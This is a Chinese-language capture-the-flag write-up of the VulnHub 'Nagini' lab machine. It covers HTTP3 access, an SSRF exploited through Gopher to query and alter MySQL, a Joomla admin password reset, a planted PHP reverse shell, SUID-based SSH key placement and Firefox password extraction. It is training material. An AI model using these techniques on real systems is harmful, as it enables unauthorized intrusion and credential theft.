靶机介绍
1)靶机地址:https://download.vulnhub.com/harrypotter/Nagini.ova
2)靶机难度:中→高(打点较难)
3)打靶目标: 取得 root 权限 + 3 Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、HTTP3协议、域名绑定、SSRF漏洞(Gopher + Mysql)、Joomla漏洞、SSH公钥登录、浏览器密码还原
5)靶机简介:HTTP2的时代还没有全面到来,可本次的打靶课却不得不面对HTTP3,这是一种基于UDP协议的未来HTTP版本。本次这台靶机,无论是突破边界还是本地提权,都是那么的与众不同。搞定了HTTP3协议之后,才可以面对SSRF漏洞,这也是本次打靶的重点与难点。需要利用SSRF漏洞,通过Gopher协议与后端MySQL数据库进行通信,利用插入的SQL语句,对数据库进行查询和修改,甚至直接改掉CMS的管理员帐号密码。一旦控制CMS后台,总是有很多方法可以实现突破边界的目标。本次的靶机需要两次提权,在最后的提权阶段没有利用任何漏洞,而是直接从浏览器文件中还原出了管理员的帐号和密码,这通常是一种针对客户端的攻击手段。
打靶过程
1)主机发现
# arp-scan --interface=eth1 --localnet
2)全端口扫描
# nmap -p- 192.168.56.124
3)服务版本扫描
# nmap -p22,80 -sC -sV 192.168.56.124
4)访问靶机的IP地址的80端口:发现首页只是一个图片,且在源码中也未发现其他有用的信息
5)对目标web系统进行路径爬取
# dirsearch -u http://192.168.56.124
通过路径爬取,发现了一个joomla的CMS系统
6)访问爬取到的地址,同时在登录框出进行常见弱口令的尝试登录后,发现无法正常登录
http://192.168.56.124/joomla/
http://192.168.56.124/joomla/administrator/
7)指定文件扩展名进行路径的爬取
# dirsearch -u http://192.168.56.124 -f -e html,php,txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
爬取发现,在根目录下存在一个note.txt的文档,返回返回如下内容:提示通过htt3的方式访问域名quic.nagini.hogwarts
8)在hosts文件绑定域名
但是实际通过浏览器是不能访问网页的,根据note.txt中的提示:访问所有的页面都需要使用http3的协议类型,但是目前的浏览器都是不支持http3协议的。为了使用HTTP3协议访问域名,需要安装支持http3的客户端程序
9)安装quiche客户端
①下载软件包:https://github.com/cloudflare/quiche
②安装cargo组件
# apt install cargo
③安装cmake组件
# apt install cmake
④卸载系统自带的rustc
# apt purge rustc
⑤重新安装最新版本的rustc(选择1)
# proxychains curl --proto 'https' --tlsv1.2 -ssf https://sh.rustup.rs |sh
⑥执行环境变量
# source "$HOME/.cargo/env"
⑦运行cargo默认实例的文件
# proxychains cargo build --examples
⑧对前面所有安装的命令进行检查
#cargo test
10)利用http3的客户端去访问目标靶机
#cd ./target/debug/examples#./http3-client https://quic.nagini.hogwarts
根据上述提示可知,存在一个/internalResourceFeTcher.php的文件。且在目标服务器上存在一些.bak的备份配置文件
11)通过浏览器发现可以打开该页面
http://192.168.56.124/internalResourceFeTcher.php
根据提示可知,通过如上表单可以访问内部网络资源
①通过file协议是否能查看到本机的文件
file:///etc/passwd
②查看当前靶机自己的http服务
通过上述两次测试,可确定在该表单位置存在一个ssrf的漏洞
SSRF漏洞:服务器端请求伪造漏洞,通过该漏洞攻击者可以向服务器端提交一些内部的、后端的资源的路径,让存在ssrf漏洞的web应用作为一个跳板去访问后端的资源,即让服务端向后端资源发起一个伪造的请求。所以ssrf漏洞被经常用于攻击者攻击企业内部网络的基础架构
12)使用gophor协议合后端的服务或应用进行交互(后端服务是基于tcp协议的)
gopher://127.0.0.1:22
通过使用gopher协议访问目标服务器的22端口,返回了上述信息,说明通过gopher协议是可以请求后端应用的。此时可以对内网的地址进行端口扫描,若返回页面是快速的,说明该端口关闭,如果返回页面缓慢,说明端口是开放的
13)根据第十步的提示可知,有可能在服务器存在配置文件的备份文件,互联网搜索joomla该CMS的配置文件所在的路径,猜测是否存在.bak的配置文件
http://192.168.56.124/joomla/configuration.php.bak
15)打开下载的配置文件备份,查看发现数据库的相关信息
16)根据返回的信息,通过gopher协议去请求目标靶机的3306端口,页面返回速度慢,说明目标靶机开放了3306端口
gopher://127.0.0.1:3306
17)通过gophor使用配置文件中获取到的mysql的数据库的用户名和密码,连接至数据库,查询到web应用的后台登录账号
①下载工具:利用该工具可以利用gopher协议类型,结合ssrf漏洞,向目标服务器发送各种后端的协议指令请求
# proxychains git clone https://github.com/tarunkant/Gopherus.git
②使用工具查询
# ./gopherus.py --exploit mysql# cd Gopherus# ./gopherus.py --exploit mysqlGive MySQL username: goblin #输入连接数据库的用户名Give query to execute: use joomla; show tables; #输入查询语句
执行完上述操作后,就会生成一串gopher协议的payload,使用padyload在表单中进行提交,即可返回数据库中所有表的信息(需要多次提交,才会回显)
③更具user表查询用户名和密码
# ./gopherus.py --exploit mysqlGive MySQL username: goblin #输入连接数据库的用户名Give query to execute: use joomla; use joomla; select * from joomla_users;
18)修改site_admin用户的密码
# echo -n 123|md5sum #先通过md5生成一串密文信息202cb962ac59075b964b07152d234b70 -# ./gopherus.py --exploit mysqlGive MySQL username: goblin #输入连接数据库的用户名Give query to execute: use joomla; update joomla_users SET password='202cb962ac59075b964b07152d234b70' WHERE username='site_admin'
使用上述生成的payload在表单中多次提交,保障修改密码操作被执行
19)使用用户名site_admin和密码123成功登录至web系统后台
http://192.168.56.124/joomla/administrator/
20)进入后台后,查看模板信息,在已存在的模板中,修改或者添加反弹shell的源码信息
①获取到php的反弹shell的代码
# cat /usr/share/webshells/php/php-reverse-shell.php
②修改模板中的error.php文件,并保存
21)访问反弹shell的php页面,并在kali主机进行监听
浏览器:http://192.168.56.124/joomla/templates/beez3/error.phpkali:# nc -lvvp 4444
22)突破边界后,在/var/www/html下查到第一个flag信息
$ cd /var/www/html$ cat horcrux1.tx
23)在home目录下存在两个目录,进入hermoine用户目录,查看到第二个flag文件,但是无权限打开,进入snape目录,查看到.creds.txt文件,查看文件内容是一串base64编码的字符串,解码后为Love@lilly
$ cd /home/$ ls -l$ cd hermoine$ ls -l$ cat horcrux2.txt$ cd ../snape$ ls -la$ cat .creds.txt# echo TG92ZUBsaWxseQ== | base64 -d Love@lilly
24)通过用户名snape和密码Love@lilly可成功登入到目标靶机
# ssh snape@192.168.56.124
25)通过snape用户登录成功后,在/home/hermoine/bin目录下发现了su_cp的可执行文件,且该文件开启了SUID权限,属主为hermoine,即该文件运行时会以hermoine用户的身份去运行
26)通过简单查看该可执行文件的帮助,发现该命令主要用于拷贝文档
27)此时可以在kali主机上生成ssh的公钥,然后以snape用户的权限将公钥拷贝到目标靶机上,然后利用su_cp命令将kali主机的公钥从snape用户拷贝到hermoine用户中。完成后kali即可直接通过公钥登录至目标靶机,不需要密码
kali:# ssh-keygen#scp .ssh/id_rsa.pub snape@192.168.56.124:~靶机:snape@Nagini:$ ls -lsnape@Nagini:$ mv id_rsa.pub authorized_keyssnape@Nagini:$ chmod 640 authorized_keys snape@Nagini:$ cd /home/hermoine/binsnape@Nagini:$ ./su_cp /home/snape/authorized_keys /home/hermoine/.ssh/snape@Nagini:$ /home/hermoine/bin$ ls -l /home/hermoine/.ssh/
28)将公钥传输到目标靶机后,即可成功通过ssh使用hermoine用户无密码登录至目标靶机,获取到第二个flag
# ssh hermoine@192.168.56.124
29)通过信息搜集发现在hermoine用户的家目录下存在一个.mozilla的文件夹,该文件夹是在linux操作系统中使用firefox浏览器后,在当前用户的加目录下就会生成给.mozilla目录,进入该文件夹,可以发现当前浏览器中的安装的扩展包、配置信息及包括浏览器登录某些web应用后记录下的用户名和密码信息
①先使用hermoine账号,将.mozilla文件夹拷贝到kali主机
# scp -rp hermoine@192.168.56.124:/home/hermoine/.mozilla /tmp# ls -la /tmp
②安装可以从firefox浏览器中提取信息的工具firefox_decrypt
下载地址:https://github.com/unode/firefox_decrypt# unzip firefox_decrypt-master.zip# rm -rf firefox_decrypt-master.zip# cd firefox_decrypt-master# ls# python3 firefox_decrypt.py /tmp/.mozilla/firefox
30)直接通过获取到的用户名和密码,可直接使用ssh登陆至靶机,获取到第三个flag及root权限
# ssh root@192.168.56.124